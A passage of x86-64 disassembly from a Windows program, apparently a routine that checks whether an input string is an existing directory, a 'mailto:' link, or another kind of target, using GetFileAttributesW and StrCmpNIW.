jne 0x14001cf86
test rbx, rbx
je 0x14001cf42
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14001cf42
test al, 0x10
jne 0x14001d03c
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp edi, 5
jne 0x14001d00e
test rbx, rbx
je 0x14001cf42
mov rcx, rbx
nop word [rax + rax]
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001cfa0
sub rcx, rbx
lea r9, str.mailto:
sar rcx, 1
lea rdx, [rcx - 1]
mov rcx, r9
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001cfc0
sub rcx, r9
sar rcx, 1
lea rax, [rcx - 1]
cmp rdx, rax
jb 0x14001cf42
mov rcx, r9
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x14001cfe2
sub rcx, r9
mov rdx, r9
sar rcx, 1
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
sete sil
test esi, esi
jmp 0x14001d036
lea eax, [rdi - 6]
cmp eax, 2
ja 0x14001cf42
call fcn.14001cd20
test eax, eax
jne 0x14001d03c
lea r9d, [rax + 1]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.14001d7a0
test eax, eax
je 0x14001cf42
mov rbx, qword [rsp + 0x30]
mov eax, 1
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret